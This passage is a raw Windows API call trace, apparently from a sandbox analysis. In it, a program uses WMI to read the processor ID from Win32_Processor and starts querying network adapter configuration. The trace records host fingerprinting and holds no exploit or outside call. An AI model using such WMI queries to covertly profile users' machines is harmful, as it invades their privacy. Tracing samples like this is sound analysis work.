[0268.916] CoGetContextToken (in: pToken=0x54eff4 | out: pToken=0x54eff4) returned 0x0 [0268.916] IUnknown:QueryInterface (in: This=0x81e148, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54efcc | out: ppvObject=0x54efcc*=0x81e158) returned 0x0 [0268.916] CObjectContext::ContextCallback () returned 0x0 [0268.925] IUnknown:Release (This=0x81e158) returned 0x1 [0268.926] CoUnmarshalInterface (in: pStm=0x8569d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x54f048 | out: ppv=0x54f048*=0x8872bc) returned 0x0 [0268.926] CoMarshalInterface (pStm=0x8569d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8872bc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0268.926] WbemLocator:IUnknown:QueryInterface (in: This=0x8872bc, riid=0x54f124*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x54f120 | out: ppvObject=0x54f120*=0x86fb00) returned 0x0 [0268.937] WbemLocator:IUnknown:Release (This=0x8872bc) returned 0x1 [0268.937] IWbemServices:GetObject (in: This=0x86fb00, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x54f308*=0x0, ppCallResult=0x0 | out: ppObject=0x54f308*=0x89dc98, ppCallResult=0x0) returned 0x0 [0268.948] WbemLocator:IUnknown:Release (This=0x86fb00) returned 0x0 [0268.949] IWbemClassObject:Get (in: This=0x89dc98, wszName="__PATH", lFlags=0, pVal=0x54f2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f398*=0, plFlavor=0x54f394*=0 | out: pVal=0x54f2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Processor", varVal2=0x0), pType=0x54f398*=8, plFlavor=0x54f394*=64) returned 0x0 [0268.949] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Processor") returned 0x4e [0268.949] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Processor") returned 0x4e [0268.949] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x34c [0268.949] SetEvent (hEvent=0x2c4) returned 1 [0268.950] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f2ac*=0x34c, lpdwindex=0x54f0d0 | out: lpdwindex=0x54f0d0) returned 0x0 [0268.952] CoGetContextToken (in: pToken=0x54f184 | out: pToken=0x54f184) returned 0x0 [0268.952] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0268.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c150, riid=0x54f1b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f1b0 | out: ppvObject=0x54f1b0*=0x84c150) returned 0x0 [0268.952] WbemDefPath:IUnknown:AddRef (This=0x84c150) returned 0x3 [0268.952] WbemDefPath:IUnknown:Release (This=0x84c150) returned 0x2 [0268.952] WbemDefPath:IWbemPath:SetText (This=0x84c150, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Processor") returned 0x0 [0268.952] IWbemClassObject:Get (in: This=0x89dc98, wszName="__CLASS", lFlags=0, pVal=0x54f360*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3e0*=0, plFlavor=0x54f3dc*=0 | out: pVal=0x54f360*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x54f3e0*=8, plFlavor=0x54f3dc*=64) returned 0x0 [0268.953] SysStringByteLen (bstr="Win32_Processor") returned 0x1e [0268.953] SysStringByteLen (bstr="Win32_Processor") returned 0x1e [0268.953] CoGetContextToken (in: pToken=0x54f184 | out: pToken=0x54f184) returned 0x0 [0268.953] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0268.953] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0268.953] CoUnmarshalInterface (in: pStm=0x8569d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x54f0d8 | out: ppv=0x54f0d8*=0x8872bc) returned 0x0 [0268.953] CoMarshalInterface (pStm=0x8569d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8872bc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0268.954] WbemLocator:IUnknown:QueryInterface (in: This=0x8872bc, riid=0x54f1b4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x54f1b0 | out: ppvObject=0x54f1b0*=0x86fbf0) returned 0x0 [0268.954] WbemLocator:IUnknown:Release (This=0x8872bc) returned 0x1 [0268.954] IWbemServices:CreateInstanceEnum (in: This=0x86fbf0, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x54f35c | out: ppEnum=0x54f35c*=0x86d420) returned 0x0 [0268.971] IUnknown:QueryInterface (in: This=0x86d420, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1e8 | out: ppvObject=0x54f1e8*=0x86d424) returned 0x0 [0268.971] IClientSecurity:QueryBlanket (in: This=0x86d424, pProxy=0x86d420, pAuthnSvc=0x54f238, pAuthzSvc=0x54f234, pServerPrincName=0x54f22c, pAuthnLevel=0x54f230, pImpLevel=0x54f220, pAuthInfo=0x54f224, pCapabilites=0x54f228 | out: pAuthnSvc=0x54f238*=0xa, pAuthzSvc=0x54f234*=0x0, pServerPrincName=0x54f22c, pAuthnLevel=0x54f230*=0x6, pImpLevel=0x54f220*=0x2, pAuthInfo=0x54f224, pCapabilites=0x54f228*=0x1) returned 0x0 [0268.971] IUnknown:Release (This=0x86d424) returned 0x1 [0268.971] IUnknown:QueryInterface (in: This=0x86d420, riid=0x6fed35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1dc | out: ppvObject=0x54f1dc*=0x8873ac) returned 0x0 [0268.971] IUnknown:QueryInterface (in: This=0x86d420, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1c8 | out: ppvObject=0x54f1c8*=0x86d424) returned 0x0 [0268.971] IClientSecurity:SetBlanket (This=0x86d424, pProxy=0x86d420, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0268.985] IUnknown:Release (This=0x86d424) returned 0x2 [0268.985] WbemLocator:IUnknown:Release (This=0x8873ac) returned 0x1 [0268.985] CoTaskMemFree (pv=0x8721e8) [0268.985] IUnknown:AddRef (This=0x86d420) returned 0x2 [0268.985] CoGetContextToken (in: pToken=0x54e704 | out: pToken=0x54e704) returned 0x0 [0268.985] CoGetContextToken (in: pToken=0x54eb14 | out: pToken=0x54eb14) returned 0x0 [0268.985] IUnknown:QueryInterface (in: This=0x86d420, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eab0 | out: ppvObject=0x54eab0*=0x887394) returned 0x0 [0268.986] WbemLocator:IRpcOptions:Query (in: This=0x887394, pPrx=0x885738, dwProperty=2, pdwValue=0x54eba4 | out: pdwValue=0x54eba4) returned 0x80004002 [0268.986] WbemLocator:IUnknown:Release (This=0x887394) returned 0x2 [0268.986] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0268.986] CoGetContextToken (in: pToken=0x54f044 | out: pToken=0x54f044) returned 0x0 [0268.986] IUnknown:QueryInterface (in: This=0x86d420, riid=0x54f114*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x54efe0 | out: ppvObject=0x54efe0*=0x86d420) returned 0x0 [0268.986] IUnknown:Release (This=0x86d420) returned 0x2 [0268.986] WbemLocator:IUnknown:Release (This=0x86fbf0) returned 0x0 [0268.986] SysStringLen (param_1=0x0) returned 0x0 [0268.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c0e0, puCount=0x54f398 | out: puCount=0x54f398*=0x2) returned 0x0 [0268.987] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f394*=0x0, pszText=0x0 | out: puBuffLength=0x54f394*=0xf, pszText=0x0) returned 0x0 [0268.987] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f394*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f394*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.987] CoGetContextToken (in: pToken=0x54f1e4 | out: pToken=0x54f1e4) returned 0x0 [0268.987] IEnumWbemClassObject:Clone (in: This=0x86d420, ppEnum=0x54f398 | out: ppEnum=0x54f398*=0x86d4e8) returned 0x0 [0269.035] IUnknown:QueryInterface (in: This=0x86d4e8, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f254 | out: ppvObject=0x54f254*=0x86d4ec) returned 0x0 [0269.035] IClientSecurity:QueryBlanket (in: This=0x86d4ec, pProxy=0x86d4e8, pAuthnSvc=0x54f2a4, pAuthzSvc=0x54f2a0, pServerPrincName=0x54f298, pAuthnLevel=0x54f29c, pImpLevel=0x54f28c, pAuthInfo=0x54f290, pCapabilites=0x54f294 | out: pAuthnSvc=0x54f2a4*=0xa, pAuthzSvc=0x54f2a0*=0x0, pServerPrincName=0x54f298, pAuthnLevel=0x54f29c*=0x6, pImpLevel=0x54f28c*=0x2, pAuthInfo=0x54f290, pCapabilites=0x54f294*=0x1) returned 0x0 [0269.035] IUnknown:Release (This=0x86d4ec) returned 0x1 [0269.035] IUnknown:QueryInterface (in: This=0x86d4e8, riid=0x6fed35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8872bc) returned 0x0 [0269.035] IUnknown:QueryInterface (in: This=0x86d4e8, riid=0x6fed35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f234 | out: ppvObject=0x54f234*=0x86d4ec) returned 0x0 [0269.035] IClientSecurity:SetBlanket (This=0x86d4ec, pProxy=0x86d4e8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0269.063] IUnknown:Release (This=0x86d4ec) returned 0x2 [0269.063] WbemLocator:IUnknown:Release (This=0x8872bc) returned 0x1 [0269.064] CoTaskMemFree (pv=0x8721b8) [0269.064] IUnknown:AddRef (This=0x86d4e8) returned 0x2 [0269.064] CoGetContextToken (in: pToken=0x54e764 | out: pToken=0x54e764) returned 0x0 [0269.064] CoGetContextToken (in: pToken=0x54eb74 | out: pToken=0x54eb74) returned 0x0 [0269.064] IUnknown:QueryInterface (in: This=0x86d4e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eb10 | out: ppvObject=0x54eb10*=0x8872a4) returned 0x0 [0269.064] WbemLocator:IRpcOptions:Query (in: This=0x8872a4, pPrx=0x8992e0, dwProperty=2, pdwValue=0x54ec04 | out: pdwValue=0x54ec04) returned 0x80004002 [0269.064] WbemLocator:IUnknown:Release (This=0x8872a4) returned 0x2 [0269.064] CoGetContextToken (in: pToken=0x54f144 | out: pToken=0x54f144) returned 0x0 [0269.065] CoGetContextToken (in: pToken=0x54f0a4 | out: pToken=0x54f0a4) returned 0x0 [0269.065] IUnknown:QueryInterface (in: This=0x86d4e8, riid=0x54f174*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x54f040 | out: ppvObject=0x54f040*=0x86d4e8) returned 0x0 [0269.065] IUnknown:Release (This=0x86d4e8) returned 0x2 [0269.065] SysStringLen (param_1=0x0) returned 0x0 [0269.065] IEnumWbemClassObject:Reset (This=0x86d4e8) returned 0x0 [0269.074] CoTaskMemAlloc (cb=0x4) returned 0x8812a8 [0269.075] IEnumWbemClassObject:Next (in: This=0x86d4e8, lTimeout=-1, uCount=0x1, apObjects=0x8812a8, puReturned=0x2573630 | out: apObjects=0x8812a8*=0x8a0f48, puReturned=0x2573630*=0x1) returned 0x0 [0271.400] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8a0f48) returned 0x0 [0271.400] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0271.400] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0271.401] IUnknown:AddRef (This=0x8a0f48) returned 0x3 [0271.401] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0271.401] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0271.401] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8a0f4c) returned 0x0 [0271.401] IMarshal:GetUnmarshalClass (in: This=0x8a0f4c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0271.401] IUnknown:Release (This=0x8a0f4c) returned 0x3 [0271.401] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0271.401] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0271.401] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0271.401] IUnknown:Release (This=0x8a0f48) returned 0x2 [0271.401] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0271.401] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0271.401] IUnknown:QueryInterface (in: This=0x8a0f48, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8a0f48) returned 0x0 [0271.401] IUnknown:AddRef (This=0x8a0f48) returned 0x4 [0271.402] IUnknown:Release (This=0x8a0f48) returned 0x3 [0271.402] IUnknown:Release (This=0x8a0f48) returned 0x2 [0271.402] CoTaskMemFree (pv=0x8812a8) [0271.402] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0271.402] IUnknown:AddRef (This=0x8a0f48) returned 0x3 [0271.402] IWbemClassObject:Get (in: This=0x8a0f48, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0271.403] IWbemClassObject:Get (in: This=0x8a0f48, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0271.404] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x6e [0271.404] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x6e [0271.404] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x354 [0271.404] SetEvent (hEvent=0x2c4) returned 1 [0271.404] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x354, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0271.407] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0271.407] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0271.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c230, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x84c230) returned 0x0 [0271.407] WbemDefPath:IUnknown:AddRef (This=0x84c230) returned 0x3 [0271.407] WbemDefPath:IUnknown:Release (This=0x84c230) returned 0x2 [0271.407] WbemDefPath:IWbemPath:SetText (This=0x84c230, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0271.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c0e0, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0271.408] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0271.408] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0271.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c0e0, puCount=0x54f3a4 | out: puCount=0x54f3a4*=0x2) returned 0x0 [0271.408] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f3a0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3a0*=0xf, pszText=0x0) returned 0x0 [0271.408] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f3a0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3a0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0271.410] IWbemClassObject:Get (in: This=0x8a0f48, wszName="processorID", lFlags=0, pVal=0x54f3a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2573ee8*=0, plFlavor=0x2573eec*=0 | out: pVal=0x54f3a0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050657", varVal2=0x0), pType=0x2573ee8*=8, plFlavor=0x2573eec*=0) returned 0x0 [0271.411] SysStringByteLen (bstr="0F8BFBFF00050657") returned 0x20 [0271.411] SysStringByteLen (bstr="0F8BFBFF00050657") returned 0x20 [0271.411] IWbemClassObject:Get (in: This=0x8a0f48, wszName="processorID", lFlags=0, pVal=0x54f3a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2573ee8*=8, plFlavor=0x2573eec*=0 | out: pVal=0x54f3a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF00050657", varVal2=0x0), pType=0x2573ee8*=8, plFlavor=0x2573eec*=0) returned 0x0 [0271.411] SysStringByteLen (bstr="0F8BFBFF00050657") returned 0x20 [0271.411] SysStringByteLen (bstr="0F8BFBFF00050657") returned 0x20 [0271.412] CoTaskMemAlloc (cb=0x4) returned 0x8812f8 [0271.412] IEnumWbemClassObject:Next (in: This=0x86d4e8, lTimeout=-1, uCount=0x1, apObjects=0x8812f8, puReturned=0x2573630 | out: apObjects=0x8812f8*=0x0, puReturned=0x2573630*=0x0) returned 0x1 [0271.458] CoTaskMemFree (pv=0x8812f8) [0271.459] CoGetContextToken (in: pToken=0x54f2bc | out: pToken=0x54f2bc) returned 0x0 [0271.459] IUnknown:Release (This=0x86d4e8) returned 0x1 [0271.459] IUnknown:Release (This=0x86d4e8) returned 0x0 [0271.497] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x358 [0271.497] SetEvent (hEvent=0x2c4) returned 1 [0271.497] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f368*=0x358, lpdwindex=0x54f18c | out: lpdwindex=0x54f18c) returned 0x0 [0271.500] CoGetContextToken (in: pToken=0x54f23c | out: pToken=0x54f23c) returned 0x0 [0271.500] CoGetContextToken (in: pToken=0x54f19c | out: pToken=0x54f19c) returned 0x0 [0271.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c2a0, riid=0x54f26c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f268 | out: ppvObject=0x54f268*=0x84c2a0) returned 0x0 [0271.500] WbemDefPath:IUnknown:AddRef (This=0x84c2a0) returned 0x3 [0271.500] WbemDefPath:IUnknown:Release (This=0x84c2a0) returned 0x2 [0271.500] WbemDefPath:IWbemPath:SetText (This=0x84c2a0, uMode=0x4, pszPath="Win32_NetworkAdapterConfiguration") returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c2a0, puCount=0x54f3e8 | out: puCount=0x54f3e8*=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f3e4*=0x0, pszText=0x0 | out: puBuffLength=0x54f3e4*=0x22, pszText=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f3e4*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x54f3e4*=0x22, pszText="Win32_NetworkAdapterConfiguration") returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetInfo (in: This=0x84c2a0, uRequestedInfo=0x0, puResponse=0x54f3f0 | out: puResponse=0x54f3f0*=0xc15) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c2a0, puCount=0x54f3e8 | out: puCount=0x54f3e8*=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetInfo (in: This=0x84c2a0, uRequestedInfo=0x0, puResponse=0x54f3f0 | out: puResponse=0x54f3f0*=0xc15) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c2a0, puCount=0x54f3d8 | out: puCount=0x54f3d8*=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f3d4*=0x0, pszText=0x0 | out: puBuffLength=0x54f3d4*=0x22, pszText=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f3d4*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x54f3d4*=0x22, pszText="Win32_NetworkAdapterConfiguration") returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c2a0, puCount=0x54f3d8 | out: puCount=0x54f3d8*=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f3d4*=0x0, pszText=0x0 | out: puBuffLength=0x54f3d4*=0x22, pszText=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetText (in: This=0x84c2a0, lFlags=2, puBuffLength=0x54f3d4*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x54f3d4*=0x22, pszText="Win32_NetworkAdapterConfiguration") returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c2a0, puCount=0x54f368 | out: puCount=0x54f368*=0x0) returned 0x0 [0271.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c070, puCount=0x54f354 | out: puCount=0x54f354*=0x2) returned 0x0 [0271.501] 